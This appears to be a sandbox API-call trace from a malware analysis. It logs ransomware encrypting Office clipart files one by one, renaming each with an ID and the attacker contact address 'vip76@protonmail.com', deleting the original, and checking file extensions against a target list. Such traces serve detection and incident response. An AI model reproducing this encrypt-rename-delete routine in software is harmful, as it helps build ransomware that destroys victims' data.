	[0191.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0191.371] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4964) returned 1
	[0191.371] CloseHandle (hObject=0x5c4) returned 1
	[0191.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220
	[0193.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.251] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.251] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.253] GetLastError () returned 0x0
	[0193.253] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0193.257] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0193.258] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.258] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.258] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.258] CloseHandle (hObject=0x5c8) returned 1
	[0193.258] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.258] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.262] CloseHandle (hObject=0x4ac) returned 1
	[0193.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1
	[0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.264] lstrlenW (lpString=".doc") returned 4
	[0193.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.264] lstrlenW (lpString=".docx") returned 5
	[0193.264] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.264] lstrlenW (lpString=".pdf") returned 4
	[0193.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.264] lstrlenW (lpString=".xls") returned 4
	[0193.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.265] lstrlenW (lpString=".xlsx") returned 5
	[0193.265] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.265] lstrlenW (lpString=".ppt") returned 4
	[0193.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString=".zip") returned 4
	[0193.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.265] lstrlenW (lpString=".rar") returned 4
	[0193.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString=".bz2") returned 4
	[0193.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString=".7z") returned 3
	[0193.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString=".dbf") returned 4
	[0193.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString=".1cd") returned 4
	[0193.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString=".jpg") returned 4
	[0193.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.265] lstrlenW (lpString=".doc") returned 4
	[0193.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.265] lstrlenW (lpString=".docx") returned 5
	[0193.266] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.266] lstrlenW (lpString=".pdf") returned 4
	[0193.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString=".xls") returned 4
	[0193.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.266] lstrlenW (lpString=".xlsx") returned 5
	[0193.266] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.266] lstrlenW (lpString=".ppt") returned 4
	[0193.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.266] lstrlenW (lpString=".zip") returned 4
	[0193.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.266] lstrlenW (lpString=".rar") returned 4
	[0193.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString=".bz2") returned 4
	[0193.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString=".7z") returned 3
	[0193.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.266] lstrlenW (lpString=".dbf") returned 4
	[0193.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.266] lstrlenW (lpString=".1cd") returned 4
	[0193.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0193.266] lstrlenW (lpString=".jpg") returned 4
	[0193.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.267] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.267] lstrlenW (lpString="J0105412.WMF") returned 12
	[0193.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.268] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9400) returned 1
	[0193.268] CloseHandle (hObject=0x4ac) returned 1
	[0193.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220
	[0193.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.269] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.269] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.270] GetLastError () returned 0x0
	[0193.270] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x24b8, lpOverlapped=0x0) returned 1
	[0193.273] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x24c0, lpOverlapped=0x0) returned 1
	[0193.275] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.275] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.275] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.275] CloseHandle (hObject=0x5c8) returned 1
	[0193.275] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.275] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.278] CloseHandle (hObject=0x4ac) returned 1
	[0193.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1
	[0193.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString=".doc") returned 4
	[0193.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".docx") returned 5
	[0193.281] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.281] lstrlenW (lpString=".pdf") returned 4
	[0193.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".xls") returned 4
	[0193.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.281] lstrlenW (lpString=".xlsx") returned 5
	[0193.281] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.281] lstrlenW (lpString=".ppt") returned 4
	[0193.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString=".zip") returned 4
	[0193.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.281] lstrlenW (lpString=".rar") returned 4
	[0193.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".bz2") returned 4
	[0193.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString=".7z") returned 3
	[0193.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString=".dbf") returned 4
	[0193.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString=".1cd") returned 4
	[0193.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.281] lstrlenW (lpString=".jpg") returned 4
	[0193.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.282] lstrlenW (lpString=".doc") returned 4
	[0193.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".docx") returned 5
	[0193.282] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0193.282] lstrlenW (lpString=".pdf") returned 4
	[0193.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".xls") returned 4
	[0193.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.282] lstrlenW (lpString=".xlsx") returned 5
	[0193.282] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0193.282] lstrlenW (lpString=".ppt") returned 4
	[0193.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.282] lstrlenW (lpString=".zip") returned 4
	[0193.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.282] lstrlenW (lpString=".rar") returned 4
	[0193.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".bz2") returned 4
	[0193.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.282] lstrlenW (lpString=".7z") returned 3
	[0193.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.282] lstrlenW (lpString=".dbf") returned 4
	[0193.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.283] lstrlenW (lpString=".1cd") returned 4
	[0193.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68
	[0193.283] lstrlenW (lpString=".jpg") returned 4
	[0193.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.284] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.284] lstrlenW (lpString="J0105414.WMF") returned 12
	[0193.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.285] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6244) returned 1
	[0193.285] CloseHandle (hObject=0x4ac) returned 1
	[0193.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220
	[0193.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0193.288] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.288] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.289] GetLastError () returned 0x0
	[0193.289] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1864, lpOverlapped=0x0) returned 1
	[0193.291] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1870, lpOverlapped=0x0) returned 1
	[0193.292] ReadFile (in: hFile=0x4ac, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.292] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.292] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.292] CloseHandle (hObject=0x5c8) returned 1
	[0193.292] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.292] SetEndOfFile (hFile=0x4ac) returned 1
	[0193.648] CloseHandle (hObject=0x4ac) returned 1
	[0193.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1
	[0193.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.649] lstrlenW (lpString=".doc") returned 4
	[0193.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.649] lstrlenW (lpString=".docx") returned 5
	[0193.650] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.650] lstrlenW (lpString=".pdf") returned 4
	[0193.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString=".xls") returned 4
	[0193.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.650] lstrlenW (lpString=".xlsx") returned 5
	[0193.650] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.650] lstrlenW (lpString=".ppt") returned 4
	[0193.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.650] lstrlenW (lpString=".zip") returned 4
	[0193.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.650] lstrlenW (lpString=".rar") returned 4
	[0193.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString=".bz2") returned 4
	[0193.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString=".7z") returned 3
	[0193.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.650] lstrlenW (lpString=".dbf") returned 4
	[0193.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.650] lstrlenW (lpString=".1cd") returned 4
	[0193.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.650] lstrlenW (lpString=".jpg") returned 4
	[0193.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.651] lstrlenW (lpString=".doc") returned 4
	[0193.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString=".docx") returned 5
	[0193.651] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.651] lstrlenW (lpString=".pdf") returned 4
	[0193.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString=".xls") returned 4
	[0193.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.651] lstrlenW (lpString=".xlsx") returned 5
	[0193.651] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.651] lstrlenW (lpString=".ppt") returned 4
	[0193.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.651] lstrlenW (lpString=".zip") returned 4
	[0193.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.651] lstrlenW (lpString=".rar") returned 4
	[0193.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString=".bz2") returned 4
	[0193.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString=".7z") returned 3
	[0193.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.651] lstrlenW (lpString=".dbf") returned 4
	[0193.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.651] lstrlenW (lpString=".1cd") returned 4
	[0193.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0193.651] lstrlenW (lpString=".jpg") returned 4
	[0193.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.652] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.652] lstrlenW (lpString="J0105638.WMF") returned 12
